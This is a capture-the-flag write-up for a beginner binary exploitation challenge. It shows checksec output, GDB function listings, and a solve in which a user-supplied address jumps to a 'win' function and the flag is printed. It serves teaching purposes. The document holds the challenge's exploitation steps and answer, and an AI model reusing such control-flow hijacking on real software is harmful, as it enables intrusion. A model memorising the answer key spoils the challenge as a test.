Flash CTF – Where We JMPing?

Challenge Overview

This is a very simple jmp to win challenge. The application gives you control over the instruction pointer, so you can jump right to the win function.

Tools Required

  • GDB (GNU Debugger)
  • checksec (for checking binary protections)
  • nc (or any other application that can connect to the service)

Steps to Solve

Getting Binary Protections

The first step in any binary exploitation challenge is to determine the enabled protections on the binary, these can be found using checksec:

$ checksec --file=./where_we_jmping

This will give us one of the following outputs depending on which version of checksec we’re using:

For the bash version (please excuse the formatting):

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   36 Symbols        No    0  1./where_we_jmping

And for the pwntools version:

[*] '/home/metactf/writeups/where_we_jmping'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

While a full deep dive into protections is out of scope for this writeup, the main thing to note about this binary is that PIE is not enabled, meaning that the binary is not position independent, and the addresses of functions are hardcoded into the binary, and will not change between runs.

Static Analysis

Opening the program in gdb with the command gdb ./where_we_jmping allows us to begin analyising the binary. If we run the command info functions within GDB, we’ll get the following output:

All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  putchar@plt
0x0000000000401040  puts@plt
0x0000000000401050  fclose@plt
0x0000000000401060  __stack_chk_fail@plt
0x0000000000401070  setbuf@plt
0x0000000000401080  printf@plt
0x0000000000401090  fgetc@plt
0x00000000004010a0  fopen@plt
0x00000000004010b0  __isoc99_scanf@plt
0x00000000004010c0  _start
0x00000000004010f0  _dl_relocate_static_pie
0x00000000004011a6  win
0x0000000000401222  landing_pad
0x0000000000401238  main
0x00000000004012fc  _fini

The key notes are that the program appears to have three self defined functions: win, at memory address 0x00000000004011a6 landing_pad, at memory address 0x0000000000401222 and main, at memory address 0x0000000000401238

We also see a bunch of imported functions, but those can be safely ignored for this challenge.

Dynamic Analysis

The next step we’ll take is running the binary, importantly, any time we run a binary that we don’t trust, it should be done in an isolated environment, such as a virtual machine, and not on our host machine. Assuming we’re inside a VM already, we can run the program from within GDB with the GDB command run.

The program will start with the following output:

(gdb) run
Starting program: /home/shayden/metactf/development/cg1/metactf-challenges/flash/binex_WhereWeJMPing/chal/where_we_jmping 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222):

The program appears to be asking for a memory address to jump to, and it includes the address of landing pad as the example. Let’s use the example value and see what happens.

Jumping to address 0x401222!
You have landed at the landing pad function!
[Inferior 1 (process 31498) exited normally]
(gdb)

The program appears to have jumped to the landing pad function, and the program has exited. This is good, as it means we can likely jump wherever in the program we choose. Remembering the functions we got earlier from info function, let’s try jumping to the win function.

(gdb) run
Starting program: /home/shayden/metactf/development/cg1/metactf-challenges/flash/binex_WhereWeJMPing/chal/where_we_jmping 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222): 0x4011a6              
Jumping to address 0x4011a6!
Error: Could not find 'flag.txt'
[Inferior 1 (process 31568) exited normally]
(gdb)

This is great, because it appears that the program is attempting to read and presumably display the flag.txt file! Let’s connect to remote and get the flag!

Solution

$ nc <CHALLENGE_HOST> <CHALLENGE_PORT>
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222): 0x4011a6
Jumping to address 0x4011a6!
Contents of 'flag.txt':
MetaCTF{jmp1ng_t0_th3_g00d_l00t}

Flag: MetaCTF{jmp1ng_t0_th3_g00d_l00t}

And with that, the challenge is solved!